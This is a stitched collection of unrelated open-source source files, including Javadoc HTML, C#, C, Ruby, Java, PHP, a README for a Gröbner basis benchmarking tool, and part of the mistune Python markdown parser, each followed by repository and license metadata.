<code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#editItem(java.util.Map,%20java.lang.Integer,%20java.util.Map,%20java.lang.Integer,%20java.lang.Integer)">editItem</a>, <a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#encodeJsonDataStep1(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.lang.Integer,%20java.lang.Integer,%20java.lang.Integer,%20java.lang.Integer,%20java.lang.String,%20java.lang.String)">encodeJsonDataStep1</a>, <a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#extractItemLocation(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.util.Map,%20java.lang.Integer,%20java.lang.Integer)">extractItemLocation</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.aurel.track.item.action.NewItemActionPlugin">
<!-- -->
</a>
<h3>Methods inherited from class com.aurel.track.item.action.<a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html" title="class in com.aurel.track.item.action">NewItemActionPlugin</a></h3>
<code><a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html#canFinishInFirstStep()">canFinishInFirstStep</a>, <a href="../../../../../com/aurel/track/item/action/NewItemActionPlugin.html#next(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.lang.Integer,%20java.lang.Integer,%20java.util.Map,%20java.lang.String,%20java.lang.String)">next</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_com.aurel.track.item.action.AbstractPluginItemAction">
<!-- -->
</a>
<h3>Methods inherited from class com.aurel.track.item.action.<a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html" title="class in com.aurel.track.item.action">AbstractPluginItemAction</a></h3>
<code><a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html#parseBoolean(java.lang.Object)">parseBoolean</a>, <a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html#parseInt(java.lang.Object)">parseInt</a>, <a href="../../../../../com/aurel/track/item/action/AbstractPluginItemAction.html#saveInFirsStep(java.util.Locale,%20com.aurel.track.beans.TPersonBean,%20java.lang.Integer,%20java.util.Map)">saveInFirsStep</a></code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="NewLinkedItemActionPlugin()">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>NewLinkedItemActionPlugin</h4>
<pre>public NewLinkedItemActionPlugin()</pre>
</li>
</ul>
</li>
</ul>
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="createCtx(com.aurel.track.item.ItemLocationForm, java.lang.Integer, java.util.Locale)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>createCtx</h4>
<pre>protected <a href="../../../../../com/aurel/track/fieldType/runtime/base/WorkItemContext.html" title="class in com.aurel.track.fieldType.runtime.base">WorkItemContext</a> createCtx(<a href="../../../../../com/aurel/track/item/ItemLocationForm.html" title="class in com.aurel.track.item">ItemLocationForm</a> form,
java.lang.Integer personID,
java.util.Locale locale)</pre>
<dl>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#createCtx(com.aurel.track.item.ItemLocationForm,%20java.lang.Integer,%20java.util.Locale)">createCtx</a></code> in class <code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></code></dd>
</dl>
</li>
</ul>
<a name="isEnabled(java.lang.Integer, com.aurel.track.beans.TWorkItemBean, boolean, boolean, int)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>isEnabled</h4>
<pre>public boolean isEnabled(java.lang.Integer personID,
<a href="../../../../../com/aurel/track/beans/TWorkItemBean.html" title="class in com.aurel.track.beans">TWorkItemBean</a> workItemBean,
boolean allowedToChange,
boolean allowedToCreate,
int appEdition)</pre>
<dl>
<dt><strong>Specified by:</strong></dt>
<dd><code><a href="../../../../../com/aurel/track/item/action/IPluginItemAction.html#isEnabled(java.lang.Integer,%20com.aurel.track.beans.TWorkItemBean,%20boolean,%20boolean,%20int)">isEnabled</a></code> in interface <code><a href="../../../../../com/aurel/track/item/action/IPluginItemAction.html" title="interface in com.aurel.track.item.action">IPluginItemAction</a></code></dd>
<dt><strong>Overrides:</strong></dt>
<dd><code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html#isEnabled(java.lang.Integer,%20com.aurel.track.beans.TWorkItemBean,%20boolean,%20boolean,%20int)">isEnabled</a></code> in class <code><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action">NewItemChildActionPlugin</a></code></dd>
</dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../com/aurel/track/item/action/NewItemChildActionPlugin.html" title="class in com.aurel.track.item.action"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../com/aurel/track/item/action/PluginItemActionException.html" title="class in com.aurel.track.item.action"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?com/aurel/track/item/action/NewLinkedItemActionPlugin.html" target="_top">Frames</a></li>
<li><a href="NewLinkedItemActionPlugin.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small><a href="http://www.trackplus.com">Genji Scrum Tool & Issue Tracking API Documentation</a> <i>Copyright © 2015 Steinbeis Task Management Solutions. All Rights Reserved.</i></small></p>
</body>
</html>
| trackplus/Genji | docs/com/aurel/track/item/action/NewLinkedItemActionPlugin.html | HTML | gpl-3.0 | 16,118 |
using System;
using System.Diagnostics;
using EasyRemote.Spec;
namespace EasyRemote.Impl.Extension
{
public static class PathExt
{
/// <summary>
/// Get path for program
/// </summary>
/// <param name="program">Program</param>
/// <returns>Full path</returns>
public static string GetPath(this IProgram program)
{
if (String.IsNullOrEmpty(program.Path))
{
return null;
}
Debug.Print("{0} => {1}", program.Path, Environment.ExpandEnvironmentVariables(program.Path));
return Environment.ExpandEnvironmentVariables(program.Path);
}
}
} | fa18swiss/EasyRemote | EasyRemote.Impl/Extension/PathExt.cs | C# | gpl-3.0 | 688 |
// Sound file format definition -- A. Amiruddin -- 25/12/2016
// REVISION HISTORY
// None
//=================================================================================================
// Copyright (C) 2016 Afeeq Amiruddin
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
//=================================================================================================
#ifndef RIKA_VOICEPACK_FORMAT_H_INCLUDED
#define RIKA_VOICEPACK_FORMAT_H_INCLUDED
//*************************************************************************************************
// Change this according to your sound file's format
const char* pszSoundFileFormat = ".wav";
//*************************************************************************************************
#endif // RIKA_VOICEPACK_FORMAT_H_INCLUDED
| Trivalse/rika | rika_voice/rika_voicepack/rika_voicepack_format.h | C | gpl-3.0 | 1,437 |
# Copyright (c) 2013-2014 SUSE LLC
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of version 3 of the GNU General Public License as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, contact SUSE LLC.
#
# To contact SUSE about this file by physical or electronic mail,
# you may find current contact information at www.suse.com
module Pennyworth
class Command
def initialize
Cheetah.default_options = { :logger => logger }
end
def config
@config ||= YAML.load_file(File.dirname(__FILE__) + "/../../../config/setup.yml")
end
def logger
@logger ||= Logger.new("/tmp/pennyworth.log")
end
private
def print_ssh_config(vagrant, vm_name)
config = vagrant.ssh_config(vm_name)
config.each_pair do |host, host_config|
puts "#{host}\t#{host_config["HostName"]}"
end
end
end
end
| SUSE/pennyworth | lib/pennyworth/commands/command.rb | Ruby | gpl-3.0 | 1,250 |
# Copyright (c) 2015 ProbeDock
# Copyright (c) 2012-2014 Lotaris SA
#
# This file is part of ProbeDock.
#
# ProbeDock is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ProbeDock is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with ProbeDock. If not, see <http://www.gnu.org/licenses/>.
class TestPayloadPolicy < ApplicationPolicy
def index?
user.is?(:admin) || user.member_of?(organization)
end
class Scope < Scope
def resolve
if user.is? :admin
scope
else
scope.joins(project_version: :project).where('projects.organization_id = ?', organization.id)
end
end
end
class Serializer < Serializer
def to_builder options = {}
Jbuilder.new do |json|
json.id record.api_id
json.bytes record.contents_bytesize
json.state record.state
json.endedAt record.ended_at.iso8601(3)
json.receivedAt record.received_at.iso8601(3)
json.processingAt record.processing_at.iso8601(3) if record.processing_at
json.processedAt record.processed_at.iso8601(3) if record.processed_at
end
end
end
end
| probedock/probedock | app/policies/test_payload_policy.rb | Ruby | gpl-3.0 | 1,555 |
import net.sf.javabdd.*;
/**
* @author John Whaley
*/
public class NQueens {
static BDDFactory B;
static boolean TRACE;
static int N; /* Size of the chess board */
static BDD[][] X; /* BDD variable array */
static BDD queen; /* N-queen problem expressed as a BDD */
static BDD solution; /* One solution */
public static void main(String[] args) {
if (args.length != 1) {
System.err.println("USAGE: java NQueens N");
return;
}
N = Integer.parseInt(args[0]);
if (N <= 0) {
System.err.println("USAGE: java NQueens N");
return;
}
TRACE = true;
long time = System.currentTimeMillis();
runTest();
freeAll();
time = System.currentTimeMillis() - time;
System.out.println("Time: "+time/1000.+" seconds");
BDDFactory.CacheStats cachestats = B.getCacheStats();
if (cachestats != null && cachestats.uniqueAccess > 0) {
System.out.println(cachestats);
}
B.done();
B = null;
}
public static double runTest() {
if (B == null) {
/* Initialize with reasonable nodes and cache size and NxN variables */
String numOfNodes = System.getProperty("bddnodes");
int numberOfNodes;
if (numOfNodes == null)
numberOfNodes = (int) (Math.pow(4.42, N-6))*1000;
else
numberOfNodes = Integer.parseInt(numOfNodes);
String cache = System.getProperty("bddcache");
int cacheSize;
if (cache == null)
cacheSize = 1000;
else
cacheSize = Integer.parseInt(cache);
numberOfNodes = Math.max(1000, numberOfNodes);
B = BDDFactory.init(numberOfNodes, cacheSize);
}
if (B.varNum() < N * N) B.setVarNum(N * N);
queen = B.universe();
int i, j;
/* Build variable array */
X = new BDD[N][N];
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
X[i][j] = B.ithVar(i * N + j);
/* Place a queen in each row */
for (i = 0; i < N; i++) {
BDD e = B.zero();
for (j = 0; j < N; j++) {
e.orWith(X[i][j].id());
}
queen.andWith(e);
}
/* Build requirements for each variable(field) */
for (i = 0; i < N; i++)
for (j = 0; j < N; j++) {
if (TRACE) System.out.print("Adding position " + i + "," + j+" \r");
build(i, j);
}
solution = queen.satOne();
double result = queen.satCount();
/* Print the results */
if (TRACE) {
System.out.println("There are " + (long) result + " solutions.");
double result2 = solution.satCount();
System.out.println("Here is "+(long) result2 + " solution:");
solution.printSet();
System.out.println();
}
return result;
}
public static void freeAll() {
for (int i = 0; i < N; i++)
for (int j = 0; j < N; j++)
X[i][j].free();
queen.free();
solution.free();
}
static void build(int i, int j) {
BDD a = B.universe(), b = B.universe(), c = B.universe(), d = B.universe();
int k, l;
/* No one in the same column */
for (l = 0; l < N; l++) {
if (l != j) {
BDD u = X[i][l].apply(X[i][j], BDDFactory.nand);
a.andWith(u);
}
}
/* No one in the same row */
for (k = 0; k < N; k++) {
if (k != i) {
BDD u = X[i][j].apply(X[k][j], BDDFactory.nand);
b.andWith(u);
}
}
/* No one in the same up-right diagonal */
for (k = 0; k < N; k++) {
int ll = k - i + j;
if (ll >= 0 && ll < N) {
if (k != i) {
BDD u = X[i][j].apply(X[k][ll], BDDFactory.nand);
c.andWith(u);
}
}
}
/* No one in the same down-right diagonal */
for (k = 0; k < N; k++) {
int ll = i + j - k;
if (ll >= 0 && ll < N) {
if (k != i) {
BDD u = X[i][j].apply(X[k][ll], BDDFactory.nand);
d.andWith(u);
}
}
}
c.andWith(d);
b.andWith(c);
a.andWith(b);
queen.andWith(a);
}
}
| aindilis/sandbox-gamer | JavaBDD/NQueens.java | Java | gpl-3.0 | 4,650 |
# gbt (Gröbner basis tests)
Testing of Gröbner basis implementations is an important part of
making algorithms more effective. The `gbt' package is a lightweight tool
to support this task.
**gbt** is designed to do benchmarking for any computer algebra systems
which can be started by an executable. The well known computer algebra
systems *Maxima*, *Singular* and *Giac* are supported out of the box.
Other systems like *CoCoA*, *JAS*, *Reduce* are also supported but they
should be installed from source at the moment, and may require some fine
tuning.
**gbt** provides a manual test for a subset (or even all) installed
computer algebra systems on your machine for a given input which must be
a Gröbner basis computation of an ideal with respect to a monomial
ordering. **gbt** also provides automated testing for a set of formerly
entered tests, that is, it can help performing a bunch of tests
on a single run.
## Installation
### Prerequisites
You need PHP on your workstation which is preferably a Linux server with
Ubuntu 16.04 and PHP 7 installed.
The benchmarks can be run either from command line or a web browser.
In the latter case you will need a piece of web server software
for that—the simplest choice is Apache.
If you use Apache, you may want to turn on userdir support and
allow the users to run PHP scripts in their userdir. See
[Ubuntu's guide] (https://wiki.ubuntu.com/UserDirectoryPHP) for some hints
on this.
If you are under Ubuntu, please install the packages *maxima*,
*singular* and *giac* (for Giac you need to follow
[the official guide] (http://www-fourier.ujf-grenoble.fr/~parisse/install_en#packages)
to add the repository first).
### Installing gbt for Apache/PHP/userdir
We assume that you chose userdir installation above for the user _joe_.
Now you will create the folder /home/_joe_/public_html/gbtest/
by copying the content of the folder __gbtest/__ from the gbt project.
Then, please change the folder tests/ and benchmark/ in the gbtest/ folder
to world writable:
$ cd ~/public_html/gbtest/
$ chmod 1777 tests/ benchmark/
Now by pointing your browser to http://IP.OF.YOUR.SERVER/~joe/gbtest/
you should see the following:

By filling in the form with the provided example, and submitting it,
the following is what you should expect:

The output of each computer algebra system should be an ideal with the
element "1". For example, in Maxima something like this should be shown
after clicking on the text "finished":
Maxima 5.37.2 http://maxima.sourceforge.net
using Lisp GNU Common Lisp (GCL) GCL 2.6.12
Distributed under the GNU Public License. See the file COPYING.
Dedicated to the memory of William Schelter.
The function bug_report() provides bug reporting information.
(%i1) (%o3) [1]
(%i4)
## Configuration and next steps
Now you can go back to http://IP.OF.YOUR.SERVER/~joe/gbtest/
and please click on the link __documentation__ for further details.
# Author
Zoltán Kovács <[email protected]>
| kovzol/gbt | README.md | Markdown | gpl-3.0 | 3,110 |
using CP77.CR2W.Reflection;
using FastMember;
using static CP77.CR2W.Types.Enums;
namespace CP77.CR2W.Types
{
[REDMeta]
public class ItemCompareBuilder : IScriptable
{
[Ordinal(0)] [RED("item1")] public InventoryItemData Item1 { get; set; }
[Ordinal(1)] [RED("item2")] public InventoryItemData Item2 { get; set; }
[Ordinal(2)] [RED("compareBuilder")] public CHandle<CompareBuilder> CompareBuilder { get; set; }
public ItemCompareBuilder(CR2WFile cr2w, CVariable parent, string name) : base(cr2w, parent, name) { }
}
}
| Traderain/Wolven-kit | CP77.CR2W/Types/cp77/ItemCompareBuilder.cs | C# | gpl-3.0 | 532 |
<?php
namespace controllers\bases;
abstract class HttpBase extends UriMethodBase {
/**
* @var array
*/
protected $params;
function __construct() {
$uriSections = \Request::getInstance()->getUriSections();
$paramsUri = array_slice($uriSections, DEFAULT_PARAMS_START_POSITION);
//This is not a magical number, we quit the empty one (0), controllers (1), method(2)
foreach ($this->getParamsNames() as $ind => $field) {
if (isset($paramsUri[$ind])) {
$this->params[$field] = \Sanitizer::cleanString($paramsUri[$ind]);
}
}
}
public function execute() {
$action = $this->getMethodCalled();
if (!method_exists($this, $action)) {
_logErr("Action '$action' not found, changing to 'render'");
$action = DEFAULT_METHOD;
}
return $this->$action();
}
public function getParam($type, $nameParam, $defaultValue) {
if(!isset($this->params[$nameParam])) {
return \Sanitizer::defineType($type, $defaultValue);
}
return \Sanitizer::defineType($type, $this->params[$nameParam]);
}
public abstract function getParamsNames();
public abstract function error();
}
| franciscomaestre/mvcd-framework | controllers/extends/HttpBase.php | PHP | gpl-3.0 | 1,246 |
<?php
$return_value = 0;
if(isset($_FILES['photo']))
{
$target_dir = "../../upload/news/doc/";
require "../config.php";
$total_files = sizeof($_FILES['photo']['name']);
$resp = '';
for($i = 0; $i < $total_files; $i++)
{
$tmp_name = $_FILES['photo']["tmp_name"][$i];
$name = $_FILES['photo']["name"][$i];
$cfg = new config();
$p_index = $cfg->index_of($name, ".");
$new_name = md5(date('Y-m-d H:i:s:u').$i);
$ext = substr($name, $p_index + 1, strlen($name));
$target_file = $target_dir.$new_name.".".$ext;
if (move_uploaded_file($tmp_name, $target_file))
{
$handle = fopen($target_file, "r");
$content = fread($handle, 4);
fclose($handle);
if($content == "%PDF")
{
$resp = $resp.'|'.str_replace(":", "$", $target_file);
}
else
{
$real_path = $_SERVER["DOCUMENT_ROOT"]."/gov_portal/backgp/upload/news/doc/".$new_name.".".$ext;
unlink($real_path);
}
$return_value = "y";
}
else {
$resp = 'Falha t: '.$name;
$return_value = "n";
}
}
}
else
{
$return_value = "n";
$resp = 'Não entrou no if!';
}
echo json_encode(array($return_value => $resp));
?> | yasilvalmeida/gov_portal | backgp/ajax/noticia_anexo/upload-add-pdf.php | PHP | gpl-3.0 | 1,401 |
# coding: utf-8
"""
mistune
~~~~~~~
The fastest markdown parser in pure Python with renderer feature.
:copyright: (c) 2014 - 2016 by Hsiaoming Yang.
"""
import re
import inspect
__version__ = '0.7.3'
__author__ = 'Hsiaoming Yang <[email protected]>'
__all__ = [
'BlockGrammar', 'BlockLexer',
'InlineGrammar', 'InlineLexer',
'Renderer', 'Markdown',
'markdown', 'escape',
]
_key_pattern = re.compile(r'\s+')
_nonalpha_pattern = re.compile(r'\W')
_escape_pattern = re.compile(r'&(?!#?\w+;)')
_newline_pattern = re.compile(r'\r\n|\r')
_block_quote_leading_pattern = re.compile(r'^ *> ?', flags=re.M)
_block_code_leading_pattern = re.compile(r'^ {4}', re.M)
_inline_tags = [
'a', 'em', 'strong', 'small', 's', 'cite', 'q', 'dfn', 'abbr', 'data',
'time', 'code', 'var', 'samp', 'kbd', 'sub', 'sup', 'i', 'b', 'u', 'mark',
'ruby', 'rt', 'rp', 'bdi', 'bdo', 'span', 'br', 'wbr', 'ins', 'del',
'img', 'font',
]
_pre_tags = ['pre', 'script', 'style']
_valid_end = r'(?!:/|[^\w\s@]*@)\b'
_valid_attr = r'''\s*[a-zA-Z\-](?:\=(?:"[^"]*"|'[^']*'|\d+))*'''
_block_tag = r'(?!(?:%s)\b)\w+%s' % ('|'.join(_inline_tags), _valid_end)
_scheme_blacklist = ('javascript:', 'vbscript:')
def _pure_pattern(regex):
pattern = regex.pattern
if pattern.startswith('^'):
pattern = pattern[1:]
return pattern
def _keyify(key):
return _key_pattern.sub(' ', key.lower())
def escape(text, quote=False, smart_amp=True):
"""Replace special characters "&", "<" and ">" to HTML-safe sequences.
The original cgi.escape will always escape "&", but you can control
this one for a smart escape amp.
:param quote: if set to True, " and ' will be escaped.
:param smart_amp: if set to False, & will always be escaped.
"""
if smart_amp:
text = _escape_pattern.sub('&', text)
else:
text = text.replace('&', '&')
text = text.replace('<', '<')
text = text.replace('>', '>')
if quote:
text = text.replace('"', '"')
text = text.replace("'", ''')
return text
def escape_link(url):
"""Remove dangerous URL schemes like javascript: and escape afterwards."""
lower_url = url.lower().strip('\x00\x1a \n\r\t')
for scheme in _scheme_blacklist:
if lower_url.startswith(scheme):
return ''
return escape(url, quote=True, smart_amp=False)
def preprocessing(text, tab=4):
text = _newline_pattern.sub('\n', text)
text = text.expandtabs(tab)
text = text.replace('\u00a0', ' ')
text = text.replace('\u2424', '\n')
pattern = re.compile(r'^ +$', re.M)
return pattern.sub('', text)
class BlockGrammar(object):
"""Grammars for block level tokens."""
def_links = re.compile(
r'^ *\[([^^\]]+)\]: *' # [key]:
r'<?([^\s>]+)>?' # <link> or link
r'(?: +["(]([^\n]+)[")])? *(?:\n+|$)'
)
def_footnotes = re.compile(
r'^\[\^([^\]]+)\]: *('
r'[^\n]*(?:\n+|$)' # [^key]:
r'(?: {1,}[^\n]*(?:\n+|$))*'
r')'
)
newline = re.compile(r'^\n+')
block_code = re.compile(r'^( {4}[^\n]+\n*)+')
fences = re.compile(
r'^ *(`{3,}|~{3,}) *(\S+)? *\n' # ```lang
r'([\s\S]+?)\s*'
r'\1 *(?:\n+|$)' # ```
)
hrule = re.compile(r'^ {0,3}[-*_](?: *[-*_]){2,} *(?:\n+|$)')
heading = re.compile(r'^ *(#{1,6}) *([^\n]+?) *#* *(?:\n+|$)')
lheading = re.compile(r'^([^\n]+)\n *(=|-)+ *(?:\n+|$)')
block_quote = re.compile(r'^( *>[^\n]+(\n[^\n]+)*\n*)+')
list_block = re.compile(
r'^( *)([*+-]|\d+\.) [\s\S]+?'
r'(?:'
r'\n+(?=\1?(?:[-*_] *){3,}(?:\n+|$))' # hrule
r'|\n+(?=%s)' # def links
r'|\n+(?=%s)' # def footnotes
r'|\n{2,}'
r'(?! )'
r'(?!\1(?:[*+-]|\d+\.) )\n*'
r'|'
r'\s*$)' % (
_pure_pattern(def_links),
_pure_pattern(def_footnotes),
)
)
list_item = re.compile(
r'^(( *)(?:[*+-]|\d+\.) [^\n]*'
r'(?:\n(?!\2(?:[*+-]|\d+\.) )[^\n]*)*)',
flags=re.M
)
list_bullet = re.compile(r'^ *(?:[*+-]|\d+\.) +')
paragraph = re.compile(
r'^((?:[^\n]+\n?(?!'
r'%s|%s|%s|%s|%s|%s|%s|%s|%s'
r'))+)\n*' % (
_pure_pattern(fences).replace(r'\1', r'\2'),
_pure_pattern(list_block).replace(r'\1', r'\3'),
_pure_pattern(hrule),
_pure_pattern(heading),
_pure_pattern(lheading),
_pure_pattern(block_quote),
_pure_pattern(def_links),
_pure_pattern(def_footnotes),
'<' + _block_tag,
)
)
block_html = re.compile(
r'^ *(?:%s|%s|%s) *(?:\n{2,}|\s*$)' % (
r'<!--[\s\S]*?-->',
r'<(%s)((?:%s)*?)>([\s\S]*?)<\/\1>' % (_block_tag, _valid_attr),
r'<%s(?:%s)*?\s*\/?>' % (_block_tag, _valid_attr),
)
)
table = re.compile(
r'^ *\|(.+)\n *\|( *[-:]+[-| :]*)\n((?: *\|.*(?:\n|$))*)\n*'
)
nptable = re.compile(
r'^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*'
)
text = re.compile(r'^[^\n]+')
class BlockLexer(object):
"""Block level lexer for block grammars."""
grammar_class = BlockGrammar
default_rules = [
'newline', 'hrule', 'block_code', 'fences', 'heading',
'nptable', 'lheading', 'block_quote',
'list_block', 'block_html', 'def_links',
'def_footnotes', 'table', 'paragraph', 'text'
]
list_rules = (
'newline', 'block_code', 'fences', 'lheading', 'hrule',
'block_quote', 'list_block', 'block_html', 'text',
)
footnote_rules = (
'newline', 'block_code', 'fences', 'heading',
'nptable', 'lheading', 'hrule', 'block_quote',
'list_block', 'block_html', 'table', 'paragraph', 'text'
)
def __init__(self, rules=None, **kwargs):
self.tokens = []
self.def_links = {}
self.def_footnotes = {}
if not rules:
rules = self.grammar_class()
self.rules = rules
def __call__(self, text, rules=None):
return self.parse(text, rules)
def parse(self, text, rules=None):
text = text.rstrip('\n')
if not rules:
rules = self.default_rules
def manipulate(text):
for key in rules:
rule = getattr(self.rules, key)
m = rule.match(text)
if not m:
continue
getattr(self, 'parse_%s' % key)(m)
return m
return False # pragma: no cover
while text:
m = manipulate(text)
if m is not False:
text = text[len(m.group(0)):]
continue
if text: # pragma: no cover
raise RuntimeError('Infinite loop at: %s' % text)
return self.tokens
def parse_newline(self, m):
length = len(m.group(0))
if length > 1:
self.tokens.append({'type': 'newline'})
def parse_block_code(self, m):
# clean leading whitespace
code = _block_code_leading_pattern.sub('', m.group(0))
self.tokens.append({
'type': 'code',
'lang': None,
'text': code,
})
def parse_fences(self, m):
self.tokens.append({
'type': 'code',
'lang': m.group(2),
'text': m.group(3),
})
def parse_heading(self, m):
self.tokens.append({
'type': 'heading',
'level': len(m.group(1)),
'text': m.group(2),
})
def parse_lheading(self, m):
"""Parse setext heading."""
self.tokens.append({
'type': 'heading',
'level': 1 if m.group(2) == '=' else 2,
'text': m.group(1),
})
def parse_hrule(self, m):
self.tokens.append({'type': 'hrule'})
def parse_list_block(self, m):
bull = m.group(2)
self.tokens.append({
'type': 'list_start',
'ordered': '.' in bull,
})
cap = m.group(0)
self._process_list_item(cap, bull)
self.tokens.append({'type': 'list_end'})
def _process_list_item(self, cap, bull):
cap = self.rules.list_item.findall(cap)
_next = False
length = len(cap)
for i in range(length):
item = cap[i][0]
# remove the bullet
space = len(item)
item = self.rules.list_bullet.sub('', item)
# outdent
if '\n ' in item:
space = space - len(item)
pattern = re.compile(r'^ {1,%d}' % space, flags=re.M)
item = pattern.sub('', item)
# determine whether item is loose or not
loose = _next
if not loose and re.search(r'\n\n(?!\s*$)', item):
loose = True
rest = len(item)
if i != length - 1 and rest:
_next = item[rest-1] == '\n'
if not loose:
loose = _next
if loose:
t = 'loose_item_start'
else:
t = 'list_item_start'
self.tokens.append({'type': t})
# recurse
self.parse(item, self.list_rules)
self.tokens.append({'type': 'list_item_end'})
def parse_block_quote(self, m):
self.tokens.append({'type': 'block_quote_start'})
# clean leading >
cap = _block_quote_leading_pattern.sub('', m.group(0))
self.parse(cap)
self.tokens.append({'type': 'block_quote_end'})
def parse_def_links(self, m):
key = _keyify(m.group(1))
self.def_links[key] = {
'link': m.group(2),
'title': m.group(3),
}
def parse_def_footnotes(self, m):
key = _keyify(m.group(1))
if key in self.def_footnotes:
# footnote is already defined
return
self.def_footnotes[key] = 0
self.tokens.append({
'type': 'footnote_start',
'key': key,
})
text = m.group(2)
if '\n' in text:
lines = text.split('\n')
whitespace = None
for line in lines[1:]:
space = len(line) - len(line.lstrip())
if space and (not whitespace or space < whitespace):
whitespace = space
newlines = [lines[0]]
for line in lines[1:]:
newlines.append(line[whitespace:])
text = '\n'.join(newlines)
self.parse(text, self.footnote_rules)
self.tokens.append({
'type': 'footnote_end',
'key': key,
})
def parse_table(self, m):
item = self._process_table(m)
cells = re.sub(r'(?: *\| *)?\n$', '', m.group(3))
cells = cells.split('\n')
for i, v in enumerate(cells):
v = re.sub(r'^ *\| *| *\| *$', '', v)
cells[i] = re.split(r' *\| *', v)
item['cells'] = cells
self.tokens.append(item)
def parse_nptable(self, m):
item = self._process_table(m)
cells = re.sub(r'\n$', '', m.group(3))
cells = cells.split('\n')
for i, v in enumerate(cells):
cells[i] = re.split(r' *\| *', v)
item['cells'] = cells
self.tokens.append(item)
def _process_table(self, m):
header = re.sub(r'^ *| *\| *$', '', m.group(1))
header = re.split(r' *\| *', header)
align = re.sub(r' *|\| *$', '', m.group(2))
align = re.split(r' *\| *', align)
for i, v in enumerate(align):
if re.search(r'^ *-+: *$', v):
align[i] = 'right'
elif re.search(r'^ *:-+: *$', v):
align[i] = 'center'
elif re.search(r'^ *:-+ *$', v):
align[i] = 'left'
else:
align[i] = None
item = {
'type': 'table',
'header': header,
'align': align,
}
return item
